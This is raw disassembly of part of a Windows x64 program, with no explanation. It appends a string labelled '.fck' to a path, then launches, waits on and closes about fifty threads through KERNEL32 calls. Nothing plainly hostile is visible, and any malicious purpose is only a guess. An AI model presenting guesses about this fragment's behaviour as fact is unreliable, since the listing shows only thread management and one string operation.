add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a202
call fcn.14000a830
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
lea rdx, [0x14002a0c0]
inc rbx
cmp word [rdx + rbx*2], 0
jne 0x140009464
mov r8, rbx
lea rcx, [rsp + 0x30]
call fcn.14000a280
nop
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 7
mov r8d, 4
lea rdx, str..fck
lea rcx, [rsp + 0x50]
call fcn.14000a280
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140002f90
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x1400094f8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400094f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1ae
call fcn.14000a830
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140003d10]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xd0], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140003df0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xc0], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140003ed0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140003fb0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140004090]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140004170]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xb8], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140004250]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x68], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140004330]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x60], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140004410]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x58], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x1400044f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x50], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x1400045d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x70], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x1400046b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x48], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140004790]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x40], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140004870]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x38], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140004950]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x30], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140004a30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x28], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140004b10]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x20], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140004bf0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x18], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140004cd0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x10], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140004db0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 8], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140004e90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140004f70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140005050]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x10], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140005130]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x18], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x140005210]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x20], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [0x140029460]
lea r8, [0x1400052f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x1400053d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140005580]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x38], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140005730]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x40], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x1400058e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140005a90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x50], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140005c40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x58], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140005df0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x60], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140005fa0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x68], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140006150]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x70], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140006300]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x78], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x1400064b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xa0], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140006660]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x80], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140006810]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x88], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x1400069c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x90], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140006b70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x98], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140006d20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xc8], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140006ed0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xa8], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140007080]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xb0], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140007230]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x1400073e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r13, rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140007590]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r12, rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140007740]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r15, rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x1400078f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r14, rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140007aa0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140007c50]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
xor ecx, ecx
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ecx
xor r9d, r9d
lea r8, [0x140007e00]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0xd8]
xor rcx, rsp
call fcn.14000a810
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14000f900
int3
call fcn.14000f900
int3
call fcn.14000f900
int3
call fcn.14000f900
int3
call fcn.14000f900
int3
call fcn.14000f900
int3
call fcn.14000f900
int3
call fcn.14000f900
int3
call fcn.14000f900
int3
call fcn.14000f900
int3
call fcn.14000f900
int3
call fcn.14000f900
int3
call fcn.14000f900
int3
call fcn.14000f900
int3
call fcn.14000f900
int3